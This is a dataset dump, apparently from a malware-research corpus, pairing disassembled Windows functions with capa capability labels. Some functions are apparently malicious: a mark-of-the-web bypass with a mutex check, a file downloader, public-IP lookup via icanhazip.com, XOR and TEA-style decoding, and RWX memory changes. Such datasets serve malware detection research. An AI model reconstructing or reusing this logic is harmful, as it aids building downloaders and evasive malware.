joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005800
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], ecx
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x1000a7e0
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov esi, dword [ebp + 8]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
push 0x24
call fcn.1000ad4c
add esp, 4
mov ecx, dword [edi]
mov dword [eax], ecx
lea ecx, [eax + 4]
xor edi, edi
mov dword [eax + 0x14], edi
mov dword [eax + 0x18], edi
xorps xmm0, xmm0
mov dword [ebp - 0x20], eax
movups xmmword [eax + 4], xmm0
mov edx, dword [esi + 0x10]
cmp dword [esi + 0x14], 0x10
jb 0x10005866
mov esi, dword [esi]
mov dword [ebp - 0x10], edi
push edx
push esi
call fcn.10004f48
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 0x1c], eax
mov dword [ebp - 0x24], ecx
mov edi, dword [ebp - 0x2c]
lea esi, [edi + 4]
xor eax, eax
push esi
push eax
push ecx
push 0x10005ce2
push eax
push eax
call fcn.1001061c
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x100058bf
lea ecx, [ebp - 0x24]
mov dword [ecx], 0
call fcn.10005d58
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, edi
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esi], 0
mov dword [ebp - 0x10], 1
push 6
call fcn.1000b69e
add esp, 4
push ebp
sub esp, 0x18
add ebp, 0xc
lea ecx, [ebp - 0x24]
call fcn.10005d58
add esp, 0x18
pop ebp
ret

Function at 0x1000a676
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov esi, ecx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x18]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x1000abe0
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
push 4
call fcn.1000ad4c
add esp, 4
mov edi, eax
mov dword [eax], ebx
lea eax, [esi + 4]
xor ebx, ebx
mov dword [ebp - 0x24], eax
push eax
push ebx
push edi
push 0x1000a712
push ebx
push ebx
call fcn.1001061c
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x1000a6e8
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x24]
mov dword [eax], ebx
mov dword [ebp - 0x10], ebx
push 6
call fcn.1000b69e
add esp, 4
nop
push ebp
sub esp, 0x18
add ebp, 0xc
push dword [ebp - 0x20]
call fcn.1000ad7c
add esp, 0x1c
pop ebp
ret

Function at 0x100108f1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10010930
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10010930
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10010930
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10010930
cmp dword [ecx + 0x74], 0xe
jbe 0x10010930
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100132c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100132ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100132ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10013fd7
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001d6b4
push 0x1001d6ac
push str.FlsAlloc
push 0x1f
call fcn.10014363
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001400b
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x10014011
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10014055
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001d6c4
push 0x1001d6bc
push str.FlsGetValue
push 0x21
call fcn.10014363
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001408c
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10014094
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001d6cc
push 0x1001d6c4
push str.FlsSetValue
push 0x22
call fcn.10014363
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100140ce
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10016268
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10016305
push ebx
push esi
call fcn.10016308
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100136c1
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100162b2
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10016304
push edi
push eax
call fcn.100135b1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100162d2
call fcn.10013577
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10016303
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100136c1
add esp, 0x20
test eax, eax
jne 0x100162f1
push edi
call fcn.10013577
jmp 0x100162f9
push ebx
call fcn.10013577
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0xa3b790
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0xa3b7cf
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop edi
pop esi
pop ebp
ret

Function at 0xa53d42
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a539bf

Function at 0xa5a3f5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a5a26b

Function at 0x4ecce1
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov ecx, 0x4eca52
mov esi, 0xdcd00b12
and edx, edx
or edx, esi
call fcn.004ecd10
or esi, esi
xor dword [eax], ecx
dec esi
mov edx, edx
add eax, 1
sub edx, esi
cmp eax, edi
jl fcn.004ecce1
dec esi
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x401440
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40147f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401472
xor eax, eax
jmp 0x401482
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4016e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push eax
call fcn.00401440
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401700
or eax, 0xffffffff
jmp 0x40175b
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, 2
mov word [ebp - 0x18], dx
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40173a
mov eax, 0xfffffffe
jmp 0x40175b
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401758
mov eax, 0xfffffffd
jmp 0x40175b
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401760
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0xf
push str.yahoo.com
call sub.DNSAPI.dll_DnsQuery_A
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4017bf
push 0x19
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
push edx
call fcn.004016e0
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x4017bf
push 1
mov eax, dword [ebp - 4]
push eax
call sub.DNSAPI.dll_DnsFree
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
jmp 0x4017cc
push 1
mov edx, dword [ebp - 4]
push edx
call sub.DNSAPI.dll_DnsFree
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404290
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x40431c
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404320
push 0x4078e8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404328
push 0x4078e8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x4078e8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x4078e8
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x4079b0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x4079b0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x4079b0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x4079b0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x4079b0
mov esp, ebp
pop ebp
ret
Function at 0x402760
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.k99f999fd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40279e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x40280b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4078a0
call section..text
add esp, 4
push eax
push 0x404e30
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402470
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x402866
push 0x6ddd00
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402850
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40a638
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427450]
jne 0x40a642
repz ret
jmp fcn.0040da36

Function at 0x40c95f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x427450]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004089d9
and dword [ebp - 0x14], 0
cmp dword [0x429a24], 0
mov dword [ebp - 0x18], eax
jne 0x40ca12
push 0x403e24
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40caba
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403e18
push ebx
call edi
test eax, eax
je 0x40caba
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403e08
push ebx
mov dword [0x429a24], eax
call edi
push eax
call esi
push 0x403df4
push ebx
mov dword [0x429a28], eax
call edi
push eax
call esi
push 0x403dd8
push ebx
mov dword [0x429a2c], eax
call edi
push eax
call esi
mov dword [0x429a34], eax
test eax, eax
je 0x40ca12
push 0x403dc0
push ebx
call edi
push eax
call esi
mov dword [0x429a30], eax
mov eax, dword [0x429a30]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40ca6b
cmp dword [0x429a34], ecx
je 0x40ca6b
push eax
call esi
push dword [0x429a34]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40ca6b
test ebx, ebx
je 0x40ca6b
call edi
test eax, eax
je 0x40ca62
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40ca62
test byte [ebp - 8], 1
jne 0x40ca6b
or dword [ebp + 0x10], 0x200000
jmp 0x40ca9e
mov eax, dword [0x429a28]
cmp eax, dword [ebp - 0x18]
je 0x40ca9e
push eax
call esi
test eax, eax
je 0x40ca9e
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40ca9e
mov eax, dword [0x429a2c]
cmp eax, dword [ebp - 0x18]
je 0x40ca9e
push eax
call esi
test eax, eax
je 0x40ca9e
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x429a24]
call esi
test eax, eax
je 0x40caba
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40cabc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a638
leave
ret
Function at 0x422c10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0x7adab0], ax
mov word [0x7adab4], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0x7adab0
mov dword [0x7adabc], 0x320033
mov dword [0x7adac4], 0x6c006c
mov word [0x7adab6], cx
mov dword [0x7adab8], 0x6c0065
mov dword [0x7adac0], 0x64002e
mov word [0x7adab2], dx
mov word [0x7adac8], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x7adaac]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0x7adaa8], eax
mov eax, dword [0x42eafc]
push edx
push eax
mov byte [0x429d73], 0x65
mov dword [0x429d69], 0x75747269
mov word [0x429d6d], 0x6c61
mov byte [0x429d68], 0x56
mov word [0x429d74], 0x7463
mov byte [0x429d76], 0
mov dword [0x429d6f], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret

Function at 0x422d00
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x1050
call fcn.0040d1b0
cmp dword [0x7adaac], 0x37
jne 0x422dcc
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4047ac
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, dword [esp]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
push 0
lea edx, [esp + 0x454]
push edx
push 0x4047b4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 8]
push edx
push 0x4047c8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0x4047dc
push 0x4047ec
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push 0
lea eax, [esp + 0x854]
push eax
push 0
push 0x404814
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0x404840
push 0x40485c
push 0x40486c
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov ecx, dword [0x7aeaa0]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x42eafc]
mov byte [ecx + esi], al
add esp, 0x1050
ret
Function at 0x422f90
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7adaac]
sub esp, 0x48c
push ebx
push ebp
push esi
mov esi, dword [0x42eafc]
shr eax, 3
push edi
test eax, eax
je 0x423160
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], eax
jmp 0x422fc4
mov esi, dword [esp + 0x14]
cmp dword [0x7adaac], 0x1c
jne 0x422fe1
lea eax, [esp + 0x34]
push eax
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edx, dword [0x428220]
mov eax, dword [0x428224]
mov ecx, dword [str._vT3]
mov ebx, dword [esi]
mov edi, dword [esi + 4]
mov dword [esp + 0x20], edx
mov edx, dword [0x42822c]
mov ebp, 0xc6ef3720
mov dword [esp + 0x2c], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x18], 0x20
mov eax, ebx
shl eax, 4
add eax, dword [esp + 0x24]
mov esi, ebx
shr esi, 5
cmp dword [0x7adaac], 0x1b
mov dword [esp + 0x10], eax
jne 0x42305d
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x9c]
push ecx
push 0
push 0x404680
push 0x4046c0
push 0x404700
call dword [sym.imp.KERNEL32.dll_SearchPathA]
mov eax, dword [esp + 0x10]
add esi, dword [esp + 0x28]
lea ecx, [ebx + ebp]
xor esi, ecx
xor esi, eax
sub edi, esi
mov eax, edi
shl eax, 4
mov dword [0x7ada1c], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x20]
add dword [esp + 0x10], eax
cmp dword [0x7adaac], 0x1be
jne 0x4230a2
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, edi
shr esi, 5
add esi, dword [esp + 0x2c]
cmp dword [0x7adaac], 0x979
mov dword [0x7ada20], 0xff6b3619
mov dword [0x7ada24], 0xffffffff
jne 0x4230df
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [edi + ebp]
xor esi, eax
mov eax, dword [esp + 0x10]
xor eax, esi
sub ebx, eax
add ebp, 0x61c88647
dec dword [esp + 0x18]
mov dword [esp + 0x10], eax
jne 0x42301a
cmp dword [0x7adaac], 0x8d4
jne 0x423117
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov esi, dword [esp + 0x14]
mov dword [esi], ebx
mov dword [esi + 4], edi
cmp dword [0x7adaac], 0x17
jne 0x42314f
push 0
push 0
push 0
push 0x404764
push 0x404784
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea eax, [esp + 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
add esi, 8
dec dword [esp + 0x1c]
mov dword [esp + 0x14], esi
jne 0x422fc0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x48c
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00408902
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00408902
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00408902
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00408902
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00408902
mov dword [0x41203c], eax
call fcn.00408902
test eax, eax
jge 0x402550
push 8
call fcn.00408902
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00408902
pop ecx
push 1
call fcn.00408902
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00408902
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00408902
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00408902
jmp 0x402495